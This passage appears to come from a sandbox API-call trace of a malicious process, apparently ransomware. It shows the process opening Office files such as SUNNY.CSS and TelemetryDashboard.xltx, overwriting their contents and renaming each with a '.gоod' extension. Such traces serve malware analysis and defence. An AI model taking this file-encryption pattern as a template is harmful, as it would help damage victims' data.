Office\\root\\Office16\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslist.chm"), fInfoLevelId=0x0, lpFileInformation=0x385f920 | out: lpFileInformation=0x385f920*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69d1a)) returned 1 [0238.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0238.057] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM", lpFilePart=0x0) returned 0x40 [0238.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0238.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslist.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0238.058] GetFileType (hFile=0x860) returned 0x1 [0238.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0238.058] GetFileType (hFile=0x860) returned 0x1 [0238.058] SetFilePointer (in: hFile=0x860, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0238.058] ReadFile (in: hFile=0x860, lpBuffer=0x385fd18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x385fd18*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0238.204] CloseHandle (hObject=0x860) returned 1 [0238.204] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM", lpFilePart=0x0) returned 0x40 [0238.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0238.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslist.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0238.205] GetFileType (hFile=0x860) returned 0x1 [0238.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0238.205] GetFileType (hFile=0x860) returned 0x1 [0238.205] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x69d1a [0238.205] WriteFile (in: hFile=0x860, lpBuffer=0x36e5918*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x36e5918*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0238.206] CloseHandle (hObject=0x860) returned 1 [0238.207] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM", lpFilePart=0x0) returned 0x40 [0238.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0238.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslist.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0238.207] GetFileType (hFile=0x860) returned 0x1 [0238.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0238.207] GetFileType (hFile=0x860) returned 0x1 [0238.207] ReadFile (in: hFile=0x860, lpBuffer=0x36e9028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x36e9028*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0238.547] CloseHandle (hObject=0x860) returned 1 [0238.547] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM", lpFilePart=0x0) returned 0x40 [0238.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0238.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslist.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0238.547] GetFileType (hFile=0x860) returned 0x1 [0238.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0238.548] GetFileType (hFile=0x860) returned 0x1 [0238.548] WriteFile (in: hFile=0x860, lpBuffer=0x36e7d90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x36e7d90*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0238.548] CloseHandle (hObject=0x860) returned 1 [0238.548] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM", lpFilePart=0x0) returned 0x40 [0238.548] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM.gоod", lpFilePart=0x0) returned 0x45 [0238.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0238.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslist.chm"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8a66b3f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x69d2a)) returned 1 [0238.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0238.548] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslist.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslist.chm.gоod")) returned 1 [0238.551] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS", lpFilePart=0x0) returned 0x3e [0238.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0238.551] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunny.css"), fInfoLevelId=0x0, lpFileInformation=0x3781300 | out: lpFileInformation=0x3781300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4796e84, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4796e84, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4796e84, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0238.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0238.576] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS", lpFilePart=0x0) returned 0x3e [0238.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0238.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunny.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0238.576] GetFileType (hFile=0x860) returned 0x1 [0238.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0238.576] GetFileType (hFile=0x860) returned 0x1 [0238.576] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0238.576] ReadFile (in: hFile=0x860, lpBuffer=0x3785010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3785010*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0238.577] CloseHandle (hObject=0x860) returned 1 [0239.617] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS", lpFilePart=0x0) returned 0x3e [0239.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0239.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunny.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0239.619] GetFileType (hFile=0x82c) returned 0x1 [0239.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0239.619] GetFileType (hFile=0x82c) returned 0x1 [0239.619] WriteFile (in: hFile=0x82c, lpBuffer=0x38252d0*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x38252d0*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0239.620] CloseHandle (hObject=0x82c) returned 1 [0239.620] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS", lpFilePart=0x0) returned 0x3e [0239.620] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS.gоod", lpFilePart=0x0) returned 0x43 [0239.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0239.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunny.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4796e84, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4796e84, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8b096596, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0239.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0239.620] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunny.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunny.css.gоod")) returned 1 [0239.621] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS", lpFilePart=0x0) returned 0x3f [0239.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0239.621] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunset.css"), fInfoLevelId=0x0, lpFileInformation=0x3826530 | out: lpFileInformation=0x3826530*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4796e84, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4796e84, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4796e84, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0239.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0239.622] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS", lpFilePart=0x0) returned 0x3f [0239.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0239.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunset.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0239.622] GetFileType (hFile=0x82c) returned 0x1 [0239.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0239.622] GetFileType (hFile=0x82c) returned 0x1 [0239.622] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0239.622] ReadFile (in: hFile=0x82c, lpBuffer=0x3827528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3827528*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0240.959] CloseHandle (hObject=0x82c) returned 1 [0241.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS", lpFilePart=0x0) returned 0x3f [0241.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0241.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunset.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0241.818] GetFileType (hFile=0x824) returned 0x1 [0241.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0241.818] GetFileType (hFile=0x824) returned 0x1 [0241.818] WriteFile (in: hFile=0x824, lpBuffer=0x3a4d110*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x3a4d110*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0241.819] CloseHandle (hObject=0x824) returned 1 [0241.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS", lpFilePart=0x0) returned 0x3f [0241.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS.gоod", lpFilePart=0x0) returned 0x44 [0241.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0241.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunset.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4796e84, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4796e84, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8c5831a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0241.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0241.819] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunset.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunset.css.gоod")) returned 1 [0241.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx", lpFilePart=0x0) returned 0x4c [0241.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0241.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrydashboard.xltx"), fInfoLevelId=0x0, lpFileInformation=0x3a4e380 | out: lpFileInformation=0x3a4e380*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc197)) returned 1 [0241.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0241.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx", lpFilePart=0x0) returned 0x4c [0241.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0241.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrydashboard.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0241.821] GetFileType (hFile=0x824) returned 0x1 [0241.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0241.821] GetFileType (hFile=0x824) returned 0x1 [0241.821] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0241.821] ReadFile (in: hFile=0x824, lpBuffer=0x3a4e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3a4e7d8*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0241.822] CloseHandle (hObject=0x824) returned 1 [0241.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx", lpFilePart=0x0) returned 0x4c [0241.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0241.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrydashboard.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0241.822] GetFileType (hFile=0x824) returned 0x1 [0241.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0241.823] GetFileType (hFile=0x824) returned 0x1 [0241.823] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0xc197 [0241.823] WriteFile (in: hFile=0x824, lpBuffer=0x3a4fa90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3a4fa90*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0241.823] CloseHandle (hObject=0x824) returned 1 [0241.824] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx", lpFilePart=0x0) returned 0x4c [0241.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0241.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrydashboard.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0241.824] GetFileType (hFile=0x824) returned 0x1 [0241.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0241.824] GetFileType (hFile=0x824) returned 0x1 [0241.824] ReadFile (in: hFile=0x824, lpBuffer=0x3a51da0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3a51da0*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0242.627] CloseHandle (hObject=0x824) returned 1 [0242.627] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx", lpFilePart=0x0) returned 0x4c [0242.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0242.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrydashboard.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0242.627] GetFileType (hFile=0x824) returned 0x1 [0242.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0242.627] GetFileType (hFile=0x824) returned 0x1 [0242.627] WriteFile (in: hFile=0x824, lpBuffer=0x3815710*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x3815710*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0242.627] CloseHandle (hObject=0x824) returned 1 [0242.628] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx", lpFilePart=0x0) returned 0x4c [0242.628] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx.gоod", lpFilePart=0x0) returned 0x51 [0242.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0242.628] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrydashboard.xltx"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, 